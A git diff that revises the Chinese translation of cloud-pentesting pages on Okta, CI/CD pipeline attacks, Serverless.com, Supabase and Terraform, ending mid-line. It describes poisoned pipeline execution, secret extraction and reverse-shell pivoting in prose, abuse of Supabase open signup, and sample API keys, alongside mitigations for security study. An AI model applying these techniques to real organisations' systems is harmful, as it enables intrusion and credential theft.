@@ -116,7 +116,7 @@ 在这里,您可以找到**访问每个应用程序的要求**。建议每个应用程序至少请求密码和另一种方法。但是,如果作为攻击者您发现某些东西更弱,您可能能够攻击它。 -### 全局会话策略 +### 全球会话策略 在这里,您可以找到分配给不同组的会话策略。例如: @@ -134,7 +134,7 @@ ### 委派身份验证 -委派身份验证允许用户通过输入其组织的**Active Directory (AD) 或 LDAP** 服务器的凭据登录 Okta。 +委派身份验证允许用户通过输入其组织的**Active Directory (AD) 或 LDAP**服务器的凭据登录 Okta。 再次检查这一点,因为攻击者妥协组织的 AD 可能能够通过此设置转向 Okta。 @@ -142,9 +142,9 @@ 网络区域是一个可配置的边界,您可以使用它来**授予或限制对您组织中计算机和设备的访问**,基于请求访问的**IP 地址**。您可以通过指定一个或多个单独的 IP 地址、IP 地址范围或地理位置来定义网络区域。 -定义一个或多个网络区域后,您可以在全局会话策略、身份验证策略、VPN 通知和路由规则中**使用它们**。 +定义一个或多个网络区域后,您可以在全球会话策略、**身份验证策略**、VPN 通知和**路由规则**中使用它们。 -从攻击者的角度来看,了解允许哪些 IP 是有趣的(并检查是否有任何**IP 比其他 IP 更特权**)。从攻击者的角度来看,如果用户应该从特定的 IP 地址或区域访问,请检查此功能是否正确使用。 +从攻击者的角度来看,了解哪些 IP 被允许(并检查是否有任何**IP 更特权**)是很有趣的。从攻击者的角度来看,如果用户应该从特定的 IP 地址或区域访问,请检查此功能是否正确使用。 ### 设备集成 @@ -154,7 +154,7 @@ ### API -您可以在此页面创建 Okta API 令牌,并查看已**创建**的令牌、它们的**权限**、**过期**时间和**来源 URL**。请注意,API 令牌是使用创建令牌的用户的权限生成的,仅在创建它们的**用户**处于**活动**状态时有效。 +您可以在此页面创建 Okta API 令牌,并查看已**创建**的令牌、它们的**权限**、**过期**时间和**来源 URL**。请注意,API 令牌是以创建令牌的用户的权限生成的,仅在创建它们的**用户**处于**活动**状态时有效。 **受信任的来源**授予您控制和信任的网站访问您的 Okta 组织,通过 Okta API。 @@ -172,11 +172,11 @@ ### 报告 -下载日志。它们被**发送**到当前账户的**电子邮件地址**。 +下载日志。它们会**发送**到当前账户的**电子邮件地址**。 ### 系统日志 -在这里,您可以找到**用户执行的操作日志**,包含许多详细信息,如在 Okta 或通过 Okta 登录应用程序。 +在这里,您可以找到**用户执行的操作日志**,包含许多详细信息,如在 Okta 或通过 Okta 登录的应用程序。 ### 导入监控 diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 5a8daf2cc..a254b23fd 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,7 +6,7 @@ ## VCS -VCS 代表 **版本控制系统**,该系统允许开发人员 **管理他们的源代码**。最常见的是 **git**,您通常会发现公司在以下 **平台** 中使用它: +VCS 代表 **版本控制系统**,该系统允许开发人员 **管理他们的源代码**。最常见的是 **git**,您通常会在以下 **平台** 中找到公司使用它: - Github - Gitlab @@ -18,7 +18,7 @@ VCS 代表 **版本控制系统**,该系统允许开发人员 **管理他们 CI/CD 管道使开发人员能够 **自动执行代码**,用于构建、测试和部署应用程序等各种目的。这些自动化工作流是通过 **特定操作** 触发的,例如代码推送、拉取请求或计划任务。它们有助于简化从开发到生产的过程。 -然而,这些系统需要在某个地方 **执行**,通常需要 **特权凭据来部署代码或访问敏感信息**。 +然而,这些系统需要在某处 **执行**,通常需要 **特权凭据来部署代码或访问敏感信息**。 ## VCS Pentesting Methodology @@ -43,7 +43,7 @@ CI/CD 管道使开发人员能够 **自动执行代码**,用于构建、测试 ## Pipelines Pentesting Methodology 定义管道的最常见方法是使用 **托管在仓库中的 CI 配置文件**。该文件描述了执行作业的顺序、影响流程的条件和构建环境设置。\ -这些文件通常具有一致的名称和格式,例如 — Jenkinsfile(Jenkins)、.gitlab-ci.yml(GitLab)、.circleci/config.yml(CircleCI)和位于 .github/workflows 下的 GitHub Actions YAML 文件。当触发时,管道作业 **从选定的源中拉取代码**(例如提交/分支),并 **根据 CI 配置文件中指定的命令** 对该代码执行操作。 +这些文件通常具有一致的名称和格式,例如 — Jenkinsfile(Jenkins)、.gitlab-ci.yml(GitLab)、.circleci/config.yml(CircleCI)和位于 .github/workflows 下的 GitHub Actions YAML 文件。当触发时,管道作业 **从选定的源中提取代码**(例如提交/分支),并 **根据 CI 配置文件中指定的命令** 运行该代码。 因此,攻击者的最终目标是以某种方式 **妥协这些配置文件** 或 **它们执行的命令**。 @@ -61,7 +61,7 @@ CI/CD 管道使开发人员能够 **自动执行代码**,用于构建、测试 有 3 种 PPE 风格: - **D-PPE**:**直接 PPE** 攻击发生在行为者 **修改将要执行的 CI 配置** 文件时。 -- **I-DDE**:**间接 PPE** 攻击发生在行为者 **修改** CI 配置文件所 **依赖的文件**(如 make 文件或 terraform 配置)时。 +- **I-DDE**:**间接 PPE** 攻击发生在行为者 **修改** CI 配置文件所 **依赖的** **文件**(如 make 文件或 terraform 配置)时。 - **公共 PPE 或 3PE**:在某些情况下,管道可以 **由没有写入访问权限的用户触发**(而且可能甚至不是组织的一部分),因为他们可以发送 PR。 - **3PE 命令注入**:通常,CI/CD 管道会 **设置环境变量**,其中包含 **有关 PR 的信息**。如果该值可以被攻击者控制(如 PR 的标题),并且在 **危险位置**(如执行 **sh 命令**)中 **使用**,攻击者可能会 **在其中注入命令**。 @@ -69,14 +69,14 @@ CI/CD 管道使开发人员能够 **自动执行代码**,用于构建、测试 了解毒化管道的 3 种风格后,让我们检查攻击者在成功利用后可能获得的内容: -- **秘密**:如前所述,管道的作业需要 **特权**(检索代码、构建、部署……),这些特权通常在秘密中 **授予**。这些秘密通常可以通过 **环境变量或系统内的文件** 访问。因此,攻击者总是会尝试提取尽可能多的秘密。 +- **秘密**:如前所述,管道的作业需要 **特权**(检索代码、构建、部署等……),这些特权通常在秘密中 **授予**。这些秘密通常可以通过 **环境变量或系统内部的文件** 访问。因此,攻击者总是会尝试提取尽可能多的秘密。 - 根据管道平台,攻击者 **可能需要在配置中指定秘密**。这意味着如果攻击者无法修改 CI 配置管道(例如 **I-PPE**),他可能 **只能提取该管道拥有的秘密**。 - **计算**:代码在某处执行,具体取决于执行的位置,攻击者可能能够进一步转移。 -- **本地**:如果管道在本地执行,攻击者可能会进入 **具有更多资源的内部网络**。 +- **本地**:如果管道在本地执行,攻击者可能会进入 **内部网络,访问更多资源**。 - **云**:攻击者可以访问 **云中的其他机器**,还可以 **提取** IAM 角色/服务帐户 **令牌** 以获得 **进一步的云内部访问**。 -- **平台机器**:有时作业将在 **管道平台机器** 内执行,这些机器通常位于 **没有更多访问权限** 的云中。 +- **平台机器**:有时作业将在 **管道平台机器** 内执行,这些机器通常位于没有更多访问权限的云中。 - **选择它**:有时 **管道平台将配置多个机器**,如果您可以 **修改 CI 配置文件**,则可以 **指示要运行恶意代码的位置**。在这种情况下,攻击者可能会在每台可能的机器上运行反向 shell,以尝试进一步利用。 -- **妥协生产**:如果您在管道内部,并且最终版本是从中构建和部署的,您可能会 **妥协将要在生产中运行的代码**。 +- **妥协生产**:如果您在管道内部,并且最终版本是从中构建和部署的,您可能会 **妥协即将在生产中运行的代码**。 ## More relevant info diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index a608574f4..2789dd361 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -1,4 +1,4 @@ -# Serverless.com Security +# Serverless.com 安全 {{#include ../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ **团队** 是在组织内有访问权限的用户。团队根据角色帮助组织成员。**`合作者`** 可以查看和部署现有应用,而 **`管理员`** 可以创建新应用并管理组织设置。 -### 应用程序 +### 应用 一个 **应用** 是组织内相关服务的逻辑分组。它代表一个完整的应用程序,由多个无服务器服务组成,这些服务协同工作以提供一致的功能。 @@ -30,9 +30,9 @@ handler: handler.hello ```
-Function +功能 -一个 **Function** 代表一个单一的无服务器函数,例如 AWS Lambda 函数。它包含响应事件时执行的代码。 +一个 **Function** 代表一个单一的无服务器函数,例如 AWS Lambda 函数。它包含在响应事件时执行的代码。 它在 `serverless.yml` 的 `functions` 部分下定义,指定处理程序、运行时、事件、环境变量和其他设置。 ```yaml @@ -50,9 +50,9 @@ method: get 事件 -**事件** 是触发您无服务器函数的触发器。它们定义了函数应该如何以及何时执行。 +**事件** 是触发您无服务器函数的触发器。它们定义了函数应该如何和何时执行。 -常见的事件类型包括 HTTP 请求、计划事件(cron 作业)、数据库事件、文件上传等。 +常见的事件类型包括 HTTP 请求、计划事件(定时任务)、数据库事件、文件上传等。 ```yaml functions: hello: @@ -140,7 +140,7 @@ plugins: -**层** 允许您将共享代码或依赖项单独打包和管理。这促进了可重用性并减少了部署包的大小。它们在 `layers` 部分下定义,并由函数引用。 +**层** 允许您将共享代码或依赖项与您的函数分开打包和管理。这促进了可重用性并减少了部署包的大小。它们在 `layers` 部分定义,并由函数引用。 ```yaml layers: commonLibs: @@ -241,9 +241,9 @@ TABLE_NAME: ${self:custom.tableName}
-依赖 +依赖项 -**依赖** 管理您的函数所需的外部库和模块。它们通常通过像 npm 或 pip 这样的包管理器处理,并使用 `serverless-webpack` 等工具或插件与您的部署包捆绑在一起。 +**依赖项** 管理您的函数所需的外部库和模块。它们通常通过像 npm 或 pip 这样的包管理器处理,并使用 `serverless-webpack` 等工具或插件与您的部署包捆绑在一起。 ```yaml plugins: - serverless-webpack @@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` -这应该创建了一个名为 **app** 的 `tutorialapp`,您可以在 [serverless.com](serverless.com-security.md) 中检查,并且创建了一个名为 `Tutorial` 的文件夹,其中包含文件 **`handler.js`**,该文件包含一些 JS 代码和 `helloworld` 代码,以及文件 **`serverless.yml`** 声明该函数: +这应该创建一个名为 **app** 的 `tutorialapp`,您可以在 [serverless.com](serverless.com-security.md) 中检查,并创建一个名为 `Tutorial` 的文件夹,其中包含文件 **`handler.js`**,该文件包含一些 JS 代码和 `helloworld` 代码,以及文件 **`serverless.yml`** 声明该函数: {{#tabs }} {{#tab name="handler.js" }} @@ -323,8 +323,8 @@ method: get {{#endtab }} {{#endtabs }} -4. 创建一个 AWS 提供者,进入 `https://app.serverless.com//settings/providers?providerId=new&provider=aws` 的 **仪表板**。 -1. 为了给 `serverless.com` 访问 AWS 的权限,它会要求运行一个 cloudformation 堆栈,使用这个配置文件(在撰写本文时):[https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +4. 创建一个 AWS 提供者,进入 **dashboard** 在 `https://app.serverless.com//settings/providers?providerId=new&provider=aws`。 +1. 为了给 `serverless.com` 访问 AWS 的权限,它会要求运行一个 cloudformation stack,使用这个配置文件(在撰写本文时): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) 2. 这个模板生成一个名为 **`SFRole-`** 的角色,具有 **`arn:aws:iam::aws:policy/AdministratorAccess`** 的权限,允许 `Serverless.com` AWS 账户访问该角色。
@@ -483,7 +483,7 @@ TableName: ${self:service}-customerTable-${sls:stage} 6. 部署它运行 **`serverless deploy`** 1. 部署将通过 CloudFormation Stack 执行 -2. 请注意,**lambdas 通过 API gateway 暴露,而不是通过直接 URL** +2. 请注意,**lambdas 通过 API gateway 暴露**,而不是通过直接 URL 7. **测试它** 1. 上一步将打印出 **URLs**,您的 API 端点 lambda 函数已部署在这些地址 @@ -493,7 +493,7 @@ TableName: ${self:service}-customerTable-${sls:stage} 过于宽松的 IAM 角色可能会授予对云资源的未经授权访问,从而导致数据泄露或资源操控。 -当没有为 Lambda 函数指定权限时,将创建一个仅具有生成日志权限的角色,如下所示: +当没有为 Lambda 函数指定权限时,将创建一个仅具有生成日志权限的角色,如:
@@ -551,28 +551,28 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- ### **不安全的秘密和配置管理** -将敏感信息(例如,API 密钥、数据库凭据)直接存储在 **`serverless.yml`** 或代码中,如果存储库被攻破,可能会导致泄露。 +将敏感信息(例如,API 密钥、数据库凭据)直接存储在 **`serverless.yml`** 或代码中,如果存储库被泄露,可能会导致暴露。 -在 **`serverless.yml`** 文件中存储环境变量的 **推荐** 方法是使用 `ssm` 或 `s3` 提供者,这允许在部署时从这些来源获取 **环境值** 并 **配置** **lambdas** 的环境变量,**文本中不包含值**! +在撰写本文时,**推荐**的在 **`serverless.yml`** 文件中存储环境变量的方法是使用 `ssm` 或 `s3` 提供程序,这允许在部署时从这些来源获取 **环境值** 并 **配置** **lambdas** 的环境变量,**文本中不包含值**! > [!CAUTION] > 因此,任何有权限读取 AWS 中 lambdas 配置的人都将能够 **以明文访问所有这些环境变量!** -例如,以下示例将使用 SSM 获取一个环境变量: +例如,以下示例将使用 SSM 获取环境变量: ```yaml provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **以明文形式添加到lambda环境变量中**。 +即使这可以防止在 **`serverless.yml`** 文件中硬编码环境变量值,但该值将在部署时获取,并将**以明文形式添加到 lambda 环境变量中**。 > [!TIP] -> 使用serveless.com存储环境变量的推荐方法是**将其存储在AWS秘密中**,并仅在环境变量中存储秘密名称,**lambda代码应收集它**。 +> 使用 serveless.com 存储环境变量的推荐方法是**将其存储在 AWS 秘密中**,并仅在环境变量中存储秘密名称,**lambda 代码应收集它**。 #### **缓解策略** -- **秘密管理器集成:** 使用像**AWS Secrets Manager**这样的服务。 -- **加密变量:** 利用Serverless Framework的加密功能来保护敏感数据。 +- **Secrets Manager 集成:** 使用像 **AWS Secrets Manager** 这样的服务。 +- **加密变量:** 利用 Serverless Framework 的加密功能来保护敏感数据。 - **访问控制:** 根据角色限制对秘密的访问。 --- @@ -592,7 +592,7 @@ plugins: ``` - **输入验证:** 实施严格的验证和清理所有输入。 -- **代码审查:** 进行彻底的审查以识别安全缺陷。 +- **代码审查:** 进行全面审查以识别安全缺陷。 - **静态分析:** 使用工具检测代码库中的漏洞。 --- @@ -603,7 +603,7 @@ plugins: #### **缓解策略** -- **集中日志记录:** 使用像**AWS CloudWatch**或**Datadog**这样的服务聚合日志。 +- **集中日志记录:** 使用像 **AWS CloudWatch** 或 **Datadog** 这样的服务聚合日志。 ```yaml plugins: @@ -611,18 +611,18 @@ plugins: ``` - **启用详细日志记录:** 捕获重要信息而不暴露敏感数据。 -- **设置警报:** 配置对可疑活动或异常的警报。 +- **设置警报:** 配置可疑活动或异常的警报。 - **定期监控:** 持续监控日志和指标以发现潜在的安全事件。 --- -### **不安全的API网关配置** +### **不安全的 API 网关配置** -开放或不当保护的API可能被利用进行未经授权的访问、拒绝服务(DoS)攻击或跨站攻击。 +开放或不当保护的 API 可能被利用进行未经授权的访问、拒绝服务 (DoS) 攻击或跨站攻击。 #### **缓解策略** -- **身份验证和授权:** 实施强大的机制,如OAuth、API密钥或JWT。 +- **身份验证和授权:** 实施强大的机制,如 OAuth、API 密钥或 JWT。 ```yaml functions: @@ -645,7 +645,7 @@ burstLimit: 200 rateLimit: 100 ``` -- **安全的CORS配置:** 限制允许的来源、方法和头部。 +- **安全的 CORS 配置:** 限制允许的来源、方法和头部。 ```yaml functions: @@ -661,7 +661,7 @@ headers: - Content-Type ``` -- **使用Web应用防火墙(WAF):** 过滤和监控HTTP请求以检测恶意模式。 +- **使用 Web 应用防火墙 (WAF):** 过滤和监控 HTTP 请求以检测恶意模式。 --- @@ -671,9 +671,9 @@ headers: #### **缓解策略** -- **隔离功能:** 分配不同的资源和IAM角色以确保独立操作。 -- **资源分区:** 为不同的功能使用单独的数据库或存储桶。 -- **使用VPC:** 在虚拟私有云中部署功能以增强网络隔离。 +- **隔离函数:** 分配独特的资源和 IAM 角色以确保独立操作。 +- **资源分区:** 为不同的函数使用单独的数据库或存储桶。 +- **使用 VPC:** 在虚拟私有云中部署函数以增强网络隔离。 ```yaml provider: @@ -684,7 +684,7 @@ subnetIds: - subnet-xxxxxx ``` -- **限制功能权限:** 确保功能不能访问或干扰彼此的资源,除非明确需要。 +- **限制函数权限:** 确保函数无法访问或干扰彼此的资源,除非明确需要。 --- @@ -706,8 +706,8 @@ SSESpecification: SSEEnabled: true ``` -- **加密传输中的数据:** 对所有数据传输使用HTTPS/TLS。 -- **安全的API通信:** 强制执行加密协议并验证证书。 +- **加密传输中的数据:** 对所有数据传输使用 HTTPS/TLS。 +- **安全的 API 通信:** 强制执行加密协议并验证证书。 - **安全管理加密密钥:** 使用托管密钥服务并定期轮换密钥。 --- @@ -735,21 +735,21 @@ body: JSON.stringify({ message: 'Internal Server Error' }), }; ``` -- **集中错误处理:** 在所有功能中一致地管理和清理错误。 +- **集中错误处理:** 在所有函数中一致地管理和清理错误。 - **监控和记录错误:** 跟踪和分析内部错误,而不向最终用户暴露细节。 --- ### **不安全的部署实践** -暴露的部署配置或对CI/CD管道的未经授权访问可能导致恶意代码部署或配置错误。 +暴露的部署配置或对 CI/CD 管道的未经授权访问可能导致恶意代码部署或配置错误。 #### **缓解策略** -- **安全的CI/CD管道:** 实施严格的访问控制、多因素身份验证(MFA)和定期审计。 +- **安全的 CI/CD 管道:** 实施严格的访问控制、多因素身份验证 (MFA) 和定期审计。 - **安全存储配置:** 确保部署文件不包含硬编码的秘密和敏感数据。 -- **使用基础设施即代码(IaC)安全工具:** 使用像**Checkov**或**Terraform Sentinel**这样的工具来强制执行安全策略。 -- **不可变部署:** 通过采用不可变基础设施实践来防止部署后未经授权的更改。 +- **使用基础设施即代码 (IaC) 安全工具:** 使用 **Checkov** 或 **Terraform Sentinel** 等工具来强制执行安全策略。 +- **不可变部署:** 通过采用不可变基础设施实践,防止部署后未经授权的更改。 --- @@ -761,20 +761,20 @@ body: JSON.stringify({ message: 'Internal Server Error' }), - **彻底审查插件:** 在集成之前评估插件的安全性,优先选择来自信誉良好的来源的插件。 - **限制插件使用:** 仅使用必要的插件以最小化攻击面。 -- **监控插件更新:** 保持插件更新以受益于安全补丁。 -- **隔离插件环境:** 在隔离环境中运行插件以限制潜在的妥协。 +- **监控插件更新:** 保持插件更新,以便受益于安全补丁。 +- **隔离插件环境:** 在隔离环境中运行插件,以限制潜在的妥协。 --- ### **敏感端点的暴露** -公开可访问的功能或不受限制的API可能被利用进行未经授权的操作。 +公开可访问的函数或不受限制的 API 可能被利用进行未经授权的操作。 #### **缓解策略** -- **限制功能访问:** 使用VPC、安全组和防火墙规则限制对受信任来源的访问。 +- **限制函数访问:** 使用 VPC、安全组和防火墙规则限制对受信任来源的访问。 - **实施强大的身份验证:** 确保所有公开的端点都需要适当的身份验证和授权。 -- **安全使用API网关:** 配置API网关以强制执行安全策略,包括输入验证和速率限制。 +- **安全使用 API 网关:** 配置 API 网关以强制执行安全策略,包括输入验证和速率限制。 - **禁用未使用的端点:** 定期审查并禁用任何不再使用的端点。 --- @@ -791,10 +791,10 @@ body: JSON.stringify({ message: 'Internal Server Error' }), ### **访问密钥和许可证密钥安全** -**访问密钥**和**许可证密钥**是用于验证和授权与Serverless Framework CLI交互的关键凭据。 +**访问密钥**和**许可证密钥**是用于验证和授权与 Serverless Framework CLI 交互的关键凭据。 -- **许可证密钥:** 它们是用于验证对Serverless Framework版本4的访问的唯一标识符,允许通过CLI登录。 -- **访问密钥:** 允许Serverless Framework CLI与Serverless Framework Dashboard进行身份验证的凭据。当使用`serverless` cli登录时,访问密钥将**生成并存储在笔记本电脑中**。您还可以将其设置为名为`SERVERLESS_ACCESS_KEY`的环境变量。 +- **许可证密钥:** 它们是用于验证对 Serverless Framework 版本 4 的访问的唯一标识符,允许通过 CLI 登录。 +- **访问密钥:** 允许 Serverless Framework CLI 与 Serverless Framework Dashboard 进行身份验证的凭据。当使用 `serverless` cli 登录时,将**生成并存储在笔记本电脑中**的访问密钥。您还可以将其设置为名为 `SERVERLESS_ACCESS_KEY` 的环境变量。 #### **安全风险** diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 7e63051f9..00d1511ba 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -1,10 +1,10 @@ -# Supabase Security +# Supabase 安全 {{#include ../banners/hacktricks-training.md}} ## 基本信息 -根据他们的 [**登陆页面**](https://supabase.com/): Supabase 是一个开源的 Firebase 替代品。使用 Postgres 数据库、身份验证、即时 API、边缘函数、实时订阅、存储和向量嵌入开始您的项目。 +根据他们的 [**着陆页**](https://supabase.com/): Supabase 是一个开源的 Firebase 替代品。使用 Postgres 数据库、身份验证、即时 API、边缘函数、实时订阅、存储和向量嵌入开始您的项目。 ### 子域名 @@ -13,7 +13,7 @@ ## **数据库配置** > [!TIP] -> **可以通过链接 `https://supabase.com/dashboard/project//settings/database` 访问这些数据** +> **可以通过链接访问这些数据,如 `https://supabase.com/dashboard/project//settings/database`** 这个 **数据库** 将部署在某个 AWS 区域,为了连接到它,可以通过以下方式连接:`postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres`(这是在 us-west-1 创建的)。\ 密码是用户之前设置的 **密码**。 @@ -31,13 +31,13 @@ ## API 配置 > [!TIP] -> **可以通过链接 `https://supabase.com/dashboard/project//settings/api` 访问这些数据** +> **可以通过链接访问这些数据,如 `https://supabase.com/dashboard/project//settings/api`** 访问您项目中 supabase API 的 URL 将类似于:`https://jnanozjdybtpqgcwhdiz.supabase.co`。 ### 匿名 API 密钥 -它还将生成一个 **匿名 API 密钥** (`role: "anon"`),如:`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`,应用程序需要使用它来联系我们示例中暴露的 API 密钥。 +它还将生成一个 **匿名 API 密钥** (`role: "anon"`),如:`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`,应用程序需要使用它来联系我们示例中的 API 密钥。 可以在 [**文档**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) 中找到联系此 API 的 API REST,但最有趣的端点将是: @@ -99,26 +99,26 @@ Priority: u=1, i ```
-所以,每当你发现一个客户使用 supabase 和他们被授予的子域名时(公司的一个子域名可能有一个 CNAME 指向他们的 supabase 子域名),你可以尝试 **使用 supabase API 创建一个新账户**。 +因此,每当您发现客户使用其被授予的子域名的 supabase(公司可能有一个 CNAME 指向他们的 supabase 子域名),您可以尝试 **使用 supabase API 创建一个新账户**。 ### secret / service_role api keys -一个秘密 API 密钥也会生成 **`role: "service_role"`**。这个 API 密钥应该是秘密的,因为它能够绕过 **行级安全**。 +将生成一个秘密 API 密钥,**`role: "service_role"`**。这个 API 密钥应该是秘密的,因为它能够绕过 **行级安全**。 -API 密钥看起来像这样: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` +API 密钥看起来像这样:`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` ### JWT Secret -一个 **JWT Secret** 也会被生成,以便应用程序可以 **创建和签署自定义 JWT 令牌**。 +还将生成一个 **JWT Secret**,以便应用程序可以 **创建和签名自定义 JWT 令牌**。 ## 认证 ### 注册 > [!TIP] -> 默认情况下,supabase 将允许 **新用户在你的项目中创建账户**,通过使用之前提到的 API 端点。 +> 默认情况下,supabase 将允许 **新用户在您的项目中创建账户**,使用之前提到的 API 端点。 -然而,这些新账户默认情况下 **需要验证他们的电子邮件地址** 才能登录账户。可以启用 **“允许匿名登录”** 以允许人们在不验证电子邮件地址的情况下登录。这可能会授予对 **意外数据** 的访问(他们获得角色 `public` 和 `authenticated`)。\ +然而,这些新账户默认情况下 **需要验证他们的电子邮件地址** 才能登录账户。可以启用 **“允许匿名登录”** 以允许人们在不验证电子邮件地址的情况下登录。这可能会授予对 **意外数据** 的访问(他们获得 `public` 和 `authenticated` 角色)。\ 这是一个非常糟糕的主意,因为 supabase 按活跃用户收费,因此人们可以创建用户并登录,而 supabase 将为这些用户收费:
@@ -126,7 +126,7 @@ API 密钥看起来像这样: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOi ### 密码和会话 可以指示最小密码长度(默认),要求(默认不要求)并禁止使用泄露的密码。\ -建议 **提高要求,因为默认的要求很弱**。 +建议 **提高要求,因为默认要求较弱**。 - 用户会话:可以配置用户会话的工作方式(超时,每个用户 1 个会话...) - 机器人和滥用保护:可以启用验证码。 @@ -146,14 +146,14 @@ API 密钥看起来像这样: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOi ## 存储 > [!TIP] -> Supabase 允许 **存储文件** 并通过 URL 使其可访问(它使用 S3 存储桶)。 +> Supabase 允许 **存储文件** 并通过 URL 使其可访问(使用 S3 存储桶)。 - 设置上传文件大小限制(默认 50MB) -- S3 连接通过如下 URL 提供: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- S3 连接通过以下 URL 提供:`https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` - 可以 **请求 S3 访问密钥**,由 `access key ID`(例如 `a37d96544d82ba90057e0e06131d0a7b`)和 `secret access key`(例如 `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)组成 -## 边缘函数 +## Edge Functions -也可以在 supabase 中 **存储秘密**,这些秘密将 **通过边缘函数访问**(可以从网页创建和删除,但无法直接访问其值)。 +还可以在 supabase 中 **存储秘密**,这些秘密将由 **边缘函数** 访问(可以从网页创建和删除,但无法直接访问其值)。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 35f175627..ba141acbc 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,12 +1,12 @@ -# Terraform Security +# Terraform 安全 {{#include ../banners/hacktricks-training.md}} ## 基本信息 -[来自文档:](https://developer.hashicorp.com/terraform/intro) +[来自文档:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform 是一个 **基础设施即代码工具**,允许您在可版本化、可重用和可共享的人类可读配置文件中定义 **云和本地资源**。然后,您可以使用一致的工作流程来配置和管理整个生命周期中的所有基础设施。Terraform 可以管理低级组件,如计算、存储和网络资源,以及高级组件,如 DNS 条目和 SaaS 功能。 +HashiCorp Terraform 是一个 **基础设施即代码工具**,允许您在可读的配置文件中定义 **云和本地资源**,这些文件可以版本控制、重用和共享。然后,您可以使用一致的工作流程来配置和管理整个生命周期中的所有基础设施。Terraform 可以管理低级组件,如计算、存储和网络资源,以及高级组件,如 DNS 条目和 SaaS 功能。 #### Terraform 如何工作? @@ -14,13 +14,13 @@ Terraform 通过其应用程序编程接口 (APIs) 创建和管理云平台和 ![](<../images/image (177).png>) -HashiCorp 和 Terraform 社区已经编写了 **超过 1700 个提供程序** 来管理成千上万种不同类型的资源和服务,这个数字还在不断增长。您可以在 [Terraform Registry](https://registry.terraform.io/) 上找到所有公开可用的提供程序,包括亚马逊网络服务 (AWS)、Azure、谷歌云平台 (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog 等等。 +HashiCorp 和 Terraform 社区已经编写了 **超过 1700 个提供程序** 来管理成千上万种不同类型的资源和服务,这个数字还在不断增长。您可以在 [Terraform 注册表](https://registry.terraform.io/) 上找到所有公开可用的提供程序,包括 Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog 等等。 核心 Terraform 工作流程由三个阶段组成: -- **编写:** 您定义资源,这些资源可能跨多个云提供商和服务。例如,您可能会创建一个配置,以在具有安全组和负载均衡器的虚拟私有云 (VPC) 网络中的虚拟机上部署应用程序。 -- **计划:** Terraform 创建一个执行计划,描述它将根据现有基础设施和您的配置创建、更新或销毁的基础设施。 -- **应用:** 经批准后,Terraform 按照正确的顺序执行提议的操作,尊重任何资源依赖关系。例如,如果您更新 VPC 的属性并更改该 VPC 中虚拟机的数量,Terraform 将在扩展虚拟机之前重新创建 VPC。 +- **写入:** 